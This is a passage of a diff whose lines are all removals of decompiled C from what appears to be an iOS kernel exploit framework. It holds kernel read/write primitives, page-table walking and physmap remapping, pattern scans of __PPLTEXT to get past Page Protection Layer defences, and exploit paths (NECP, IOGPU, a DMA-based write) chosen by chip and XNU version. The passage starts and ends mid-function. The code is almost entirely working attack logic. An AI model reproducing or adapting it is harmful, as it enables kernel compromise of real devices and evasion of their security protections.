-  return thread_set_state(targetThread, 6, (thread_state_t)(ctx + 384), 0x44u);
-}
-// 127B0: variable 'vars8' is possibly undefined
-
-//----- (00000000000127C0) ----------------------------------------------------
-__int64 __fastcall get_ppnum_via_kread(__int64 a1)
-{
-  __int64 v2; // x0
-  struct_krwCtx *v3; // x20
-  __int64 v4; // x0
-  unsigned __int64 v5; // x0
-  __int64 v6; // x22
-  __int64 v7; // x24
-  vm_address_t v8; // x20
-  __int64 v9; // x21
-  __int64 result; // x0
-  int v11; // w23
-  __int64 v12; // x24
-  __int128 v13; // [xsp+0h] [xbp-70h] BYREF
-  __int128 v14; // [xsp+10h] [xbp-60h]
-
-  v2 = *(uint64_t *)(a1 + 8);
-  v3 = KRWCTX_FROM_RAW_FIELD(v2, 32);
-  v4 = kread_u64_value(v2, *(uint64_t *)(v2 + 16) + 40LL);
-  v5 = krw_xpac_vaddr_2(v3, v4);
-  v6 = kread_u64_value(*(uint64_t *)(a1 + 8), v5 + 24);
-  while ( 1 )
-  {
-    v7 = v6;
-    v8 = kread_u64_value(*(uint64_t *)(a1 + 8), v6 + 16);
-    v9 = kread_u64_value(*(uint64_t *)(a1 + 8), v6 + 24);
-    result = kread_u32_value(*(uint64_t *)(a1 + 8), v6 + 72);
-    if ( v8 == 0x1000000000LL )
-      break;
-    v11 = result;
-    v6 = kread_u64_value(*(uint64_t *)(a1 + 8), v6 + 8);
-    if ( v11 < 0 )
-    {
-      v13 = 0u;
-      v14 = 0u;
-      v12 = v7 + 48;
-      kread_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
-      HIDWORD(v13) = *(uint64_t *)(a1 + 32);
-      kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
-      v13 = 0u;
-      v14 = 0u;
-      kread_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
-      DWORD2(v14) = v11 & 0x7FFFFFFF;
-      kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
-      vm_deallocate(mach_task_self_, v8, v9 - v8);
-    }
-  }
-  return result;
-}
-
-//----- (0000000000012954) ----------------------------------------------------
-__int64 __fastcall compare_cfdict_entries(const void *a1, const void *a2)
-{
-  __int64 v2; // x20
-  CFTypeID v5; // x22
-  CFTypeID v6; // x22
-  void (__cdecl *v7)(const void *, const void *, void *); // x0
-  unsigned int v9; // [xsp+0h] [xbp-30h] BYREF
-  const void *v10; // [xsp+8h] [xbp-28h]
-
-  v2 = 708609;
-  if ( a1 )
-  {
-    v5 = CFGetTypeID(a1);
-    if ( v5 == CFDictionaryGetTypeID() )
-    {
-      if ( a2 )
-      {
-        v6 = CFGetTypeID(a2);
-        if ( v6 == CFDictionaryGetTypeID() )
-        {
-          v9 = 0;
-          v10 = a1;
-          v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(iterate_cftype_values);
-          CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9);
-          return v9;
-        }
-      }
-    }
-  }
-  return v2;
-}
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-
-//----- (00000000000129F8) ----------------------------------------------------
-void __fastcall iterate_cftype_values(const void *a1, CFTypeRef cf, __int64 a3)
-{
-  CFTypeID v6; // x22
-  CFTypeID v7; // x22
-  int v8; // w23
-  void *v9; // x21
-  CFTypeID v10; // x22
-  CFTypeID v11; // x22
-  CFTypeID v12; // x22
-  CFIndex Count; // x22
-  void (__cdecl *v14)(const void *, void *); // x0
-  CFIndex v15; // x21
-  void (__cdecl *v16)(const void *, void *); // x0
-  int v17; // w8
-  void *value; // [xsp+8h] [xbp-48h] BYREF
-  int context; // [xsp+10h] [xbp-40h] BYREF
-  void *v20; // [xsp+18h] [xbp-38h]
-  CFRange v21; // 0:x1.16
-  CFRange v22; // 0:x1.16
-
-  if ( !a3 || *(uint32_t *)a3 )
-    return;
-  if ( !a1 || !cf )
-  {
-    v17 = 708609;
-LABEL_22:
-    *(uint32_t *)a3 = v17;
-    return;
-  }
-  v6 = CFGetTypeID(cf);
-  if ( CFStringGetTypeID() != v6 && CFArrayGetTypeID() != v6 && CFBooleanGetTypeID() != v6 && CFNumberGetTypeID() != v6 )
-    goto LABEL_21;
-  value = 0;
-  if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), a1, (const void **)&value) )
-    goto LABEL_19;
-  v7 = CFGetTypeID(value);
-  if ( CFGetTypeID(cf) != v7 )
-  {
-LABEL_21:
-    v17 = 708628;
-    goto LABEL_22;
-  }
-  if ( CFArrayGetTypeID() == v7 )
-  {
-    v8 = 708609;
-    v9 = value;
-    if ( value )
-    {
-      v10 = CFGetTypeID(value);
-      if ( v10 == CFArrayGetTypeID() )
-      {
-        v11 = CFGetTypeID(cf);
-        if ( v11 == CFArrayGetTypeID() )
-        {
-          v12 = CFGetTypeID(cf);
-          if ( v12 == CFArrayGetTypeID() )
-          {
-            LOBYTE(context) = 1;
-            Count = CFArrayGetCount((CFArrayRef)cf);
-            v14 = (void (__cdecl *)(const void *, void *))nullsub_1(check_cfstring_type);
-            v21.location = 0;
-            v21.length = Count;
-            CFArrayApplyFunction((CFArrayRef)cf, v21, v14, &context);
-            if ( (uint8_t)context )
-            {
-              context = 0;
-              v20 = v9;
-              v15 = CFArrayGetCount((CFArrayRef)cf);
-              v16 = (void (__cdecl *)(const void *, void *))nullsub_1(cfarray_add_unique);
-              v22.location = 0;
-              v22.length = v15;
-              CFArrayApplyFunction((CFArrayRef)cf, v22, v16, &context);
-              v8 = context;
-            }
-            else
-            {
-              v8 = 708628;
-            }
-          }
-        }
-      }
-    }
-    *(uint32_t *)a3 = v8;
-    return;
-  }
-LABEL_19:
-  if ( !*(uint32_t *)a3 )
-    CFDictionarySetValue(*(CFMutableDictionaryRef *)(a3 + 8), a1, cf);
-}
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-
-//----- (0000000000012BF4) ----------------------------------------------------
-__int64 __fastcall merge_cfdict_entries(const void *a1, const void *a2)
-{
-  __int64 v2; // x20
-  CFTypeID v5; // x22
-  CFTypeID v6; // x22
-  void (__cdecl *v7)(const void *, const void *, void *); // x0
-  unsigned int v9; // [xsp+0h] [xbp-30h] BYREF
-  const void *v10; // [xsp+8h] [xbp-28h]
-
-  v2 = 708609;
-  if ( a1 )
-  {
-    v5 = CFGetTypeID(a1);
-    if ( v5 == CFDictionaryGetTypeID() )
-    {
-      if ( a2 )
-      {
-        v6 = CFGetTypeID(a2);
-        if ( v6 == CFDictionaryGetTypeID() )
-        {
-          v9 = 0;
-          v10 = a1;
-          v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(apply_cfdict_update);
-          CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9);
-          return v9;
-        }
-      }
-    }
-  }
-  return v2;
-}
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-
-//----- (0000000000012C98) ----------------------------------------------------
-void __fastcall apply_cfdict_update(void *key, CFTypeRef valueToCompare, __int64 a3)
-{
-  CFTypeID v5; // x21
-  CFIndex Count; // x21
-  void (__cdecl *v7)(const void *, void *); // x0
-  int v8; // w8
-  int context; // [xsp+8h] [xbp-38h] BYREF
-  void *v10; // [xsp+10h] [xbp-30h]
-  void *value; // [xsp+18h] [xbp-28h] BYREF
-  CFRange v12; // 0:x1.16
-
-  if ( a3 && !*(uint32_t *)a3 )
-  {
-    if ( key && valueToCompare )
-    {
-      value = 0;
-      if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), key, (const void **)&value) )
-      {
-        v8 = 708625;
-        goto LABEL_14;
-      }
-      v5 = CFGetTypeID(value);
-      if ( CFGetTypeID(valueToCompare) == v5 )
-      {
-        if ( CFArrayGetTypeID() == v5 )
-        {
-          context = 0;
-          v10 = value;
-          Count = CFArrayGetCount(valueToCompare);
-          v7 = (void (__cdecl *)(const void *, void *))nullsub_1(cfarray_contains_check);
-          v12.location = 0;
-          v12.length = Count;
-          CFArrayApplyFunction(valueToCompare, v12, v7, &context);
-          v8 = context;
-LABEL_14:
-          *(uint32_t *)a3 = v8;
-          return;
-        }
-        if ( CFEqual(valueToCompare, value) )
-        {
-          *(uint32_t *)a3 = 0;
-          return;
-        }
-      }
-      v8 = 708628;
-      goto LABEL_14;
-    }
-    v8 = 708609;
-    goto LABEL_14;
-  }
-}
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-
-//----- (0000000000012DB0) ----------------------------------------------------
-void __fastcall cfarray_add_unique(const void *a1, __int64 a2)
-{
-  CFArrayRef v4; // x21
-  CFMutableArrayRef v5; // x0
-  CFRange v7; // 0:x1.16
-
-  if ( a2 && !*(uint32_t *)a2 )
-  {
-    if ( a1 )
-    {
-      v4 = *(CFArrayRef *)(a2 + 8);
-      v7.length = CFArrayGetCount(v4);
-      v7.location = 0;
-      if ( !CFArrayContainsValue(v4, v7, a1) )
-      {
-        v5 = *(CFMutableArrayRef *)(a2 + 8);
-        CFArrayAppendValue(v5, a1);
-      }
-    }
-    else
-    {
-      *(uint32_t *)a2 = 708609;
-    }
-  }
-}
-// 12E28: variable 'vars8' is possibly undefined
-
-//----- (0000000000012E48) ----------------------------------------------------
-const void *__fastcall check_cfstring_type(const void *result, uint8_t *a2)
-{
-  const void *v3; // x20
-
-  if ( a2 )
-  {
-    if ( !result || (v3 = (const void *)CFGetTypeID(result), result = (const void *)CFStringGetTypeID(), v3 != result) )
-      *a2 = 0;
-  }
-  return result;
-}
-
-//----- (0000000000012E88) ----------------------------------------------------
-const void *__fastcall cfarray_contains_check(const void *result, __int64 a2)
-{
-  const void *v3; // x20
-  int v4; // w22
-  CFArrayRef v5; // x21
-  CFRange v6; // 0:x1.16
-
-  if ( a2 && !*(uint32_t *)a2 )
-  {
-    v3 = result;
-    v4 = 708609;
-    if ( result )
-    {
-      v5 = *(CFArrayRef *)(a2 + 8);
-      v6.length = CFArrayGetCount(v5);
-      v6.location = 0;
-      result = (const void *)CFArrayContainsValue(v5, v6, v3);
-      if ( (uint32_t)result )
-        return result;
-      v4 = 708625;
-    }
-    *(uint32_t *)a2 = v4;
-  }
-  return result;
-}
-
-//----- (0000000000012EF8) ----------------------------------------------------
-void __fastcall necp_dispatch_by_version(struct_krwCtx *krwCtx)
-{
-  unsigned __int64 xnuVersionPacked; // x8
-  bool a13PlusUsesNewNecpPath; // w0
-  bool a15PlusUsesNewNecpPath; // w0
-
-  xnuVersionPacked = krwCtx->xnuVersionPacked;
-  a13PlusUsesNewNecpPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK)
-                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023)
-                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 142, 0, 1023, 1023) && krwCtx->xnuMajorVersion < 10002));
-  a15PlusUsesNewNecpPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK)
-                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023)
-                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) && krwCtx->xnuMajorVersion <= 10001));
-  if ( a13PlusUsesNewNecpPath || a15PlusUsesNewNecpPath )
-  {
-    necp_send_msg_2(krwCtx);
-  }
-  else
-  {
-    nullsub_2(krwCtx);
-  }
-}
-// 22D68: using guessed type __int64 __fastcall nullsub_2(uint64_t);
-
-//----- (000000000001308C) ----------------------------------------------------
-bool __fastcall check_necp_flag(struct_krwCtx *krwCtx)
-{
-  return krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK);
-}
-
-//----- (00000000000130B4) ----------------------------------------------------
-bool __fastcall necp_kread_region(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3, unsigned int a4)
-{
-    __int64 v11; // x8
-    unsigned __int64 v12; // x23
-    unsigned __int64 v13; // x26
-    __int64 v14; // x28
-    int v15; // w0
-    bool v16; // cc
-    unsigned __int64 v17; // x8
-    unsigned __int64 v18; // x9
-    unsigned __int64 v19; // x10
-    int v20; // w9
-    __int64 v21; // x0
-    __int64 v22; // [xsp+0h] [xbp-70h] BYREF
-    uint32_t v230, v231; // [xsp+8h] [xbp-68h] BYREF
-    unsigned __int64 v24; // [xsp+10h] [xbp-60h] BYREF
-    __int64 v25; // [xsp+18h] [xbp-58h] BYREF
-
-    v22 = 0;
-    v230=0; v231=0;
-    v24 = 0;
-    v25 = 0;
-    if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK)) return 0;
-    if (!a2 || !a3 || !a4 ) return 0;
-    if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) ) {
-        return !!ppl_physmap_table_patch_write(krwCtx, a2, a3, a4, 0);
-    }
-    if ( get_kwrite_fn(krwCtx, (__int64 *)&v24, &v231) )
-    {
-        if ( v24 <= a2 )
-        {
-            if ( a2 + a4 <= v24 + v231 )
-            {
-                if ( (unsigned int)lookup_physmap_page_slot(krwCtx, 3u, &v25) )
-                {
-                    if ( v25 )
-                        goto LABEL_13;
-                    v16 = (unsigned int)v231 > 0x8C000
-                    || (unsigned __int64)(krwCtx->xnuVersionPacked - XNU_VERSION_PACKED(6153, 40, 121, 0, 0)) > 0xF788FFFFFLL;
-                    v17 = v231 + 8;
-                    if ( !v16 )
-                        v17 = 573448;
-                    v18 = krwCtx->pageSizeOrSomething;
-                    v19 = v17 % v18;
-                    v20 = v18 - v17 % v18;
-                    if ( !v19 )
-                        v20 = 0;
-                    v230 = v17 + v20;
-                    v21 = alloc_physmap_scratch_page(krwCtx, &v230);
-                    v25 = v21;
-                    if ( v21 )
-                    {
-                        if ( (unsigned int)cache_physmap_page_slot(krwCtx, 3u, v21) )
-                        {
-                        LABEL_13:
-                            v11 = krwCtx->pageMask;
-                            v12 = a2 & ~v11;
-                            v13 = (a2 + a4 - 1) & ~v11;
-                            if ( v12 > v13 )
-                            {
-                            LABEL_19:
-                                return (unsigned int)kwrite_with_retry(krwCtx, a2 - v24 + v25, a3, a4) != 0;
-                            }
-                            else
-                            {
-                                while ( (unsigned int)krw_read_thunk(krwCtx, v25 + v231, 8, &v22) )
-                                {
-                                    v14 = 1 << ((v12 - v24) >> 14);
-                                    if ( (v22 & v14) == 0 )
-                                    {
-                                        v15 = pgtable_walk_for_physmap(krwCtx, v25 + v12 - v24, v12);
-                                        if ( !v15 )
-                                            break;
-                                        v22 |= v14;
-                                        if ( !(unsigned int)kwrite_with_retry(krwCtx, v25 + v231, (__int64)&v22, 8) )
-                                            break;
-                                    }
-                                    v12 += krwCtx->pageSizeOrSomething;
-                                    if ( v12 > v13 )
-                                        goto LABEL_19;
-                                }
-                            }
-                        }
-                    }
-                }
-            }
-        }
-    }
-    return 0;
-}
-
-//----- (0000000000013304) ----------------------------------------------------
-bool __fastcall ppl_physmap_table_patch_write(struct_krwCtx *krwCtx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, int a5)
-{
-  int v10; // w0
-  uint64_t pageMask; // x8
-  mach_vm_address_t v12; // x24
-  __int64 v13; // x27
-  uint64_t *v14; // x8
-  __int64 v15; // x9
-  __int64 v16; // x10
-  mach_vm_address_t v17; // x1
-  __int64 v18; // x0
-  __int64 v19; // x26
-  __int64 v20; // x8
-  unsigned __int64 v21; // x25
-  unsigned __int64 v22; // x0
-  int v23; // w0
-  uint8_t v25[12]; // [xsp+4h] [xbp-5Ch] BYREF
-
-  v10 = acquire_write_semaphore_lock(krwCtx, 5u, 0x2710u);
-  if ( !v10 )
-  {
-    *(uint64_t *)&v25[4] = 0;
-    pageMask = krwCtx->pageMask;
-    v12 = vaddr & ~pageMask;
-    if ( v12 == ((vaddr + (unsigned int)size - 1) & ~pageMask) )
-    {
-      if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
-        v13 = 16;
-      else
-        v13 = 256;
-      v14 = &krwCtx->gap_0x878;
-      v15 = v13;
-      do
-      {
-        if ( !*v14 )
-          break;
-        if ( v12 == *v14 )
-        {
-          v16 = *(v14 - 1);
-          if ( v16 )
-          {
-            v17 = vaddr - v12 + v16;
-LABEL_30:
-            if ( (unsigned int)kwrite_something(krwCtx, v17, newBytes, size, a5) )
-            {
-              v10 = release_write_semaphore_lock(krwCtx, 5u);
-              return v10 == 0;
-            }
-            goto LABEL_32;
-          }
-        }
-        v14 += 2;
-        --v15;
-      }
-      while ( v15 );
-      if ( !(unsigned int)lookup_physmap_page_slot(krwCtx, 7u, (__int64 *)&v25[4]) )
-        goto LABEL_32;
-      if ( *(uint64_t *)&v25[4] )
-      {
-        if ( !(unsigned int)krw_read_thunk(krwCtx, *(__int64 *)&v25[4], (unsigned int)(16 * v13), &krwCtx->gap_0x870) )
-          goto LABEL_32;
-      }
-      else
-      {
-        *(uint64_t *)v25 = (unsigned int)(16 * v13);
-        v18 = alloc_physmap_scratch_page(krwCtx, v25);
-        *(uint64_t *)&v25[4] = v18;
-        if ( !v18 || !(unsigned int)cache_physmap_page_slot(krwCtx, 7u, v18) )
-          goto LABEL_32;
-        bzero(&krwCtx->gap_0x870, (unsigned int)(16 * v13));
-      }
-      v19 = 2160;
-      while ( 1 )
-      {
-        v20 = *(uint64_t *)&krwCtx->raw_0x4[v19 + 4];
-        if ( !v20 )
-          break;
-        if ( v12 == v20 )
-        {
-          v21 = *(uint64_t *)((char *)&krwCtx->flags + v19);
-          if ( v21 )
-            goto LABEL_29;
-        }
-        v19 += 16;
-        if ( !--v13 )
-          goto LABEL_32;
-      }
-      *(uint32_t *)v25 = krwCtx->pageSizeOrSomething;
-      v22 = alloc_physmap_page(krwCtx, (unsigned int *)v25);
-      if ( v22 )
-      {
-        if ( *(uint32_t *)v25 == krwCtx->pageSizeOrSomething )
-        {
-          v21 = v22;
-          v23 = pgtable_walk_for_physmap(krwCtx, v22, v12);
-          if ( v23 )
-          {
-            *(uint64_t *)&krwCtx->raw_0x4[v19 + 4] = v12;
-            *(uint64_t *)((char *)&krwCtx->flags + v19) = v21;
-            if ( (unsigned int)kwrite_with_retry(
-                                 krwCtx,
-                                 *(uint64_t *)&v25[4] + ((v19 - 2160) & 0xFFFFFFFF0LL),
-                                 KRWCTX_RAW_PTR(krwCtx) + v19,
-                                 16) )
-            {
-LABEL_29:
-              v17 = vaddr - v12 + v21;
-              goto LABEL_30;
-            }
-          }
-        }
-      }
-    }
-LABEL_32:
-    release_write_semaphore_lock(krwCtx, 5u);
-    v10 = 708619;
-  }
-  return v10 == 0;
-}
-//----- (000000000001353C) ----------------------------------------------------
-bool __fastcall get_kwrite_fn(struct_krwCtx *krwCtx, __int64 *a2, int *a3)
-{
-  __int64 v6; // x22
-  int v7; // w8
-  __int64 v9; // x0
-  int v10; // w8
-  int v11; // w9
-  char *v13; // x22
-  unsigned __int64 v14; // x9
-  __int64 v15; // x0
-  __int64 v16; // x23
-  unsigned __int64 v17; // x0
-  unsigned __int64 v18; // x0
-  __int64 v19; // x0
-  int v20; // w9
-  __int128 v21; // [xsp+0h] [xbp-60h] BYREF
-  unsigned __int64 v22; // [xsp+10h] [xbp-50h]
-  __int128 v23; // [xsp+18h] [xbp-48h] BYREF
-  unsigned __int64 v24; // [xsp+28h] [xbp-38h]
-
-  v6 = krwCtx->pplPhysmapBase;
-  if ( v6 )
-  {
-    v7 = krwCtx->pplPhysmapSize;
-LABEL_3:
-    *a2 = v6;
-    *a3 = v7;
-    return 1;
-  }
-  v9 = krwCtx->kernelMachoCtx;
-  v10 = *(uint32_t *)(v9 + 112);
-  if ( v10 > 8791 )
-  {
-    if ( v10 != 8792 && v10 != 8796 )
-    {
-      v11 = 10002;
-LABEL_13:
-      if ( v10 != v11 )
-      {
-        v13 = 0;
-        goto LABEL_15;
-      }
-    }
-  }
-  else if ( (unsigned int)(v10 - 8019) >= 2 )
-  {
-    if ( v10 == 6153 )
-    {
-      v13 = "1F 01 .. EB 20 91 .. FA .. .. 00 54";
-      goto LABEL_15;
-    }
-    v11 = 7195;
-    goto LABEL_13;
-  }
-  v13 = "1F 01 13 EB 20 91 53 FA .. .. 00 54 68 02";
-LABEL_15:
-  macho_walk_segment_by_name("__PPLTEXT", &v23, v9);
-  if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(6153, 102, 2, 0, 0) && krwCtx->xnuMajorVersion <= 7194 )
-  {
-    if ( !*((uint64_t *)&v23 + 1) )
-      return 0;
-    v14 = krwCtx->pageSizeOrSomething;
-    if ( v24 <= v14 )
-      return 0;
-    *((uint64_t *)&v23 + 1) += v14;
-    v24 -= v14;
-  }
-  v21 = v23;
-  v22 = v24;
-  v15 = kernel_pattern_scan((__int64)&v21, v13, 0);
-  if ( v15 )
-  {
-    v16 = v15;
-    v17 = find_kernel_func(krwCtx->kernelMachoCtx, (__int64 *)(v15 - 16));
-    if ( v17 )
-      v6 = macho_read_u64_thunk(krwCtx->kernelMachoCtx, v17);
-    else
-      v6 = 0;
-    if ( krwCtx->xnuMajorVersion >= 7195 )
-    {
-      v18 = find_kernel_func(krwCtx->kernelMachoCtx, (__int64 *)(v16 - 8));
-      if ( !v18 )
-        return 0;
-      v19 = macho_read_u64_thunk(krwCtx->kernelMachoCtx, v18);
-      if ( !v19 )
-        return 0;
-      v7 = v19 - v6;
-      if ( !v6 )
-        return 0;
-LABEL_31:
-      v20 = krwCtx->xnuMajorVersion;
-      if ( v20 <= 7194 )
-      {
-        if ( v20 < 6153 )
-        {
-          v7 = 589824;
-        }
-        else if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
-        {
-          v7 = 573440;
-        }
-        else
-        {
-          v7 = 557056;
-        }
-      }
-      krwCtx->pplPhysmapBase = v6;
-      krwCtx->pplPhysmapSize = v7;
-      goto LABEL_3;
-    }
-    v7 = 0;
-    if ( v6 )
-      goto LABEL_31;
-  }
-  return 0;
-}
-// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);
-
-//----- (0000000000013750) ----------------------------------------------------
-bool __fastcall pgtable_walk_for_physmap(struct_krwCtx *krwCtx, unsigned __int64 a2, unsigned __int64 a3)
-{
-  unsigned __int64 v6; // x21
-  __int64 v8; // x20
-  unsigned __int64 v9; // x22
-  unsigned __int64 v10; // x21
-  struct
-  {
-    __int128 q0;
-    __int128 q1;
-    unsigned __int64 q2;
-  } v11, v14;
-
-  memset(&v11, 0, sizeof(v11));
-  memset(&v14, 0, sizeof(v14));
-  if ( pgtable_walk_wrapper(krwCtx, a3, &v11) )
-  {
-    asm volatile("" ::: "memory");
-    if ( BYTE4(v11.q1) == 3 )
-    {
-      v6 = v11.q2;
-      if ( pgtable_walk_wrapper(krwCtx, a2, &v14) )
-      {
-        asm volatile("" ::: "memory");
-        if ( BYTE4(v14.q1) == 3 )
-        {
-          v8 = *(__int64 *)&v14.q0;
-          v9 = v14.q2;
-          v10 = (v14.q2 & 0xFFFF000000003FFFLL) | (((v6 >> 14) & 0x3FFFFFFFFLL) << 14);
-          if ( ((unsigned int)v10 == (unsigned int)v14.q2 || check_physmap_range_necp(krwCtx, *(__int64 *)&v14.q0, v10))
-            && (HIDWORD(v9) == HIDWORD(v10) || check_physmap_range_necp(krwCtx, v8 + 4, SHIDWORD(v10))) )
-          {
-            semaphore_timedwait_ns(krwCtx, 0x2710u);
-            return 1;
-          }
-        }
-      }
-    }
-  }
-  return 0;
-}
-
-//----- (0000000000013844) ----------------------------------------------------
-// DONE: matches orig asm shape; x0 carries the bool result from the tail call/callee.
-bool __fastcall physmap_table_write_versioned(struct_krwCtx *krwCtx, unsigned __int64 a2, int a3)
-{
-    int v8; // [xsp+1Ch] [xbp-24h] BYREF
-    unsigned __int64 v7; // [xsp+10h] [xbp-30h] BYREF
-    unsigned int v6; // [xsp+Ch] [xbp-34h] BYREF
-
-    v8 = a3;
-    v7 = 0;
-    v6 = 0;
-    if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) ) return 0;
-    if ( krwCtx->xnuVersionPacked >= (uint64_t)XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
-        return check_physmap_range_necp(krwCtx, a2, a3);
-    if ( !get_kwrite_fn(krwCtx, (__int64 *)&v7, (int *)&v6) )
-        return 0;
-    if ( v7 <= a2 && a2 + 4 <= v7 + v6 ) {
-        return necp_kread_region(krwCtx, a2, (__int64)&v8, 4);
-    }
-    return check_physmap_range_necp(krwCtx, a2, a3);
-}
-
-//----- (0000000000013924) ----------------------------------------------------
-bool __fastcall check_physmap_range_necp(struct_krwCtx *krwCtx, unsigned __int64 a2, int a3)
-{
-  unsigned __int64 xnuVersionPacked; // x8
-  int v8; // w0
-  bool a13PlusUsesNewNecpPath; // w0
-  bool a15PlusUsesNewNecpPath; // w0
-  bool a13PlusUsesIogpuPath; // w0
-  bool a15PlusUsesIogpuPath; // w0
-
-  xnuVersionPacked = krwCtx->xnuVersionPacked;
-  a13PlusUsesNewNecpPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK)
-                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023)
-                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 142, 0, 1023, 1023) && krwCtx->xnuMajorVersion < 10002));
-  a15PlusUsesNewNecpPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK)
-                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023)
-                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) && krwCtx->xnuMajorVersion <= 10001));
-  if ( a13PlusUsesNewNecpPath || a15PlusUsesNewNecpPath )
-  {
-    v8 = pgtable_locked_kwrite32_retry(krwCtx, a2, a3);
-    return v8 == 0;
-  }
-
-  a13PlusUsesIogpuPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK)
-                       && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023)
-                        || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 142, 0, 1023, 1023) && krwCtx->xnuMajorVersion < 10002));
-  a15PlusUsesIogpuPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK)
-                       && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023)
-                        || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) && krwCtx->xnuMajorVersion < 10002));
-  if ( a13PlusUsesIogpuPath || a15PlusUsesIogpuPath )
-  {
-    if ( xnuVersionPacked > XNU_VERSION_PACKED(10002, 42, 7, 1023, 1023) )
-      return 0;
-    v8 = iogpu_kernel_read_op(krwCtx, a2, a3);
-    return v8 == 0;
-  }
-  v8 = dmaFail_physwrite32(krwCtx, a2, a3);
-  return v8 == 0;
-}
-
-//----- (0000000000013AE4) ----------------------------------------------------
-__int64 __fastcall ppl_kwritebuf(struct_krwCtx *krwCtx, unsigned __int64 vaddr, void *newBytes, int size)
-{
-  __int64 v8; // x20
-  char v9; // w23
-  unsigned int v10; // w26
-  mach_vm_address_t vaddr_; // x25
-  unsigned int v12; // w9
-  size_t size_; // x24
-  unsigned int v14; // w28
-  char *newBytes_; // x26
-  int v16; // w0
-  vm_address_t address; // [xsp+8h] [xbp-58h] BYREF
-
-  if ( vm_allocate(mach_task_self_, &address, krwCtx->pageSizeOrSomething, 1) )
-    return 0;
-  v9 = kaddr_need_ppl_bypass(krwCtx, vaddr);
-  v10 = 0;
-  while ( 1 )
-  {
-    vaddr_ = vaddr + v10;
-    v12 = krwCtx->pageSizeOrSomething - (vaddr_ & (uint32_t)krwCtx->pageMask);
-    size_ = size - v10 <= v12 ? size - v10 : v12;
-    if ( !(unsigned int)krw_read_thunk(krwCtx, vaddr + v10, size_, (void *)address) )
-      break;
-    v14 = v10;
-    newBytes_ = (char *)newBytes + v10;
-    if ( memcmp((const void *)address, newBytes_, size_) )
-    {
-      v16 = ppl_kwritebuf_nocheck(krwCtx, vaddr_, (__int64)newBytes_, size_, v9, 0);
-      if ( !v16 )
-        break;
-    }
-    v10 = size_ + v14;
-    if ( (uint32_t)size_ + v14 == size )
-    {
-      v8 = 1;
-      goto LABEL_13;
-    }
-  }
-  v8 = 0;
-LABEL_13:
-  vm_deallocate(mach_task_self_, address, krwCtx->pageSizeOrSomething);
-  return v8;
-}
-// 13BC4: variable 'v16' is possibly undefined
-
-//----- (0000000000013C14) ----------------------------------------------------
-bool __fastcall kaddr_need_ppl_bypass(struct_krwCtx *krwCtx, unsigned __int64 vaddr)
-{
-  uint64_t result; // x0
-  __int64 v5; // x8
-  unsigned __int64 v6; // x9
-
-  result = 1;
-  if ( !map_physpage_to_user(krwCtx, vaddr, 0, vaddr) )
-  {
-    v5 = KRWCTX_FIELD_U64(krwCtx, 6648);
-    if ( !v5 )
-      return 0;
-    v6 = *(uint64_t *)(v5 + 224);
-    if ( v6 > vaddr || *(uint64_t *)(v5 + 232) + v6 <= vaddr )
-      return 0;
-  }
-  return result;
-}
-
-//----- (0000000000013C78) ----------------------------------------------------
-bool __fastcall ppl_kwritebuf_nocheck(
-        struct_krwCtx *krwCtx,
-        mach_vm_address_t vaddr,
-        __int64 newBytes,
-        __int64 size,
-        char pplBypass,
-        int a6)
-{
